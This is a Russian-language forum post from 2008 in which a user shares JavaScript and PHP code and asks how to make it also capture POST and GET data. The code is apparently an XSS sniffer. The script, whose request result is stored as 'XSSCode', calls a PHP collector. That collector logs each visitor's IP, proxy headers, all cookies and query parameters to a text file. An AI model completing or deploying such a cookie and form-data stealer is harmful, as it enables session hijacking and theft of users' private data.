
27.05.2008, 17:24
|
|
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
С нами:
11141693
Репутация:
56
|
|
И все же вопрос про XMLHttpRequest. про то что работа с удаленным сервером не получится - это понятно. но ни как не могу понять как получить пост и гет. куки и $_SERVER передаются, а вот пост и гет ну ни как. подскажите что нужно дополнить в код
Код:
<script type="text/javascript">
function processReqChange() {
//document.form.state.value = stat(req.readyState);
if (req.readyState == 4) {
// clearTimeout(reqTimeout);
// document.form.statusnum.value = req.status;
// document.form.status.value = req.statusText;
// only if "OK"
if (req.status == 200) {
// document.form.response.value=req.responseText;
} else {
alert("Не удалось получить данные:\n" + req.statusText);
}}}
function HTTPRequest (url)
{
if (window.XMLHttpRequest){
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST" | "GET", url, true);
req.send(null);
}else if (window.ActiveXObject){
req = new
ActiveXObject("Microsoft.XMLHTTP");
if (req){
req.onreadystatechange = processReqChange;
req.open("POST" | "GET", url, true);
req.send();
}
}
return (req.responseText);
}
var XSSCode = HTTPRequest ("pro.php");
</script>
<FORM action="form.php" method="POST">
<input type="text" name="text">
<input type="submit">
</FORM>
файл php:
Код:
<?php
$time = date("M j G:i:s T Y");
$cook = "";
while (list($key,$value)=each($_COOKIE)) {
$cook = $cook . $key . ':' . $value . "\n";
}
$client = "=====================" . $time . "========================== \n
Client ip: ". $_SERVER['REMOTE_ADDR'] . "\n
Client dns: ". $_SERVER['REMOTE_HOST'] . "\n
X-Forwarded-for: ". $_SERVER['HTTP_X_FORWARDED_FOR'] . "\n
Via: ". $_SERVER['HTTP_VIA'] . "\n
COOKIE: ". $cook . "\n
-----------------POST DATA--------------------\n";
$xss = $_GET;
$que = "";
$filename = "somefile.txt";
while (list($key,$value)=each($xss)) {
$que = $que . $key . ':' . $value . "\n";
}
$pos = $que . "=============================================== \n";
$data = $client . $pos;
//print_r ($xss);
// Если файл существует и в него возможна запись
if ( is_writeable($filename) ) :
// Открыть файл и установить указатель текущей позиции в конец файла
$fh = fopen($filename, "a+");
// Записать содержимое $data в файл
@fwrite($fh, $data);
// Закрыть файл
fclose($fh); else :
print "Could not open Sfilename for writing";
endif;
?>
|
|
|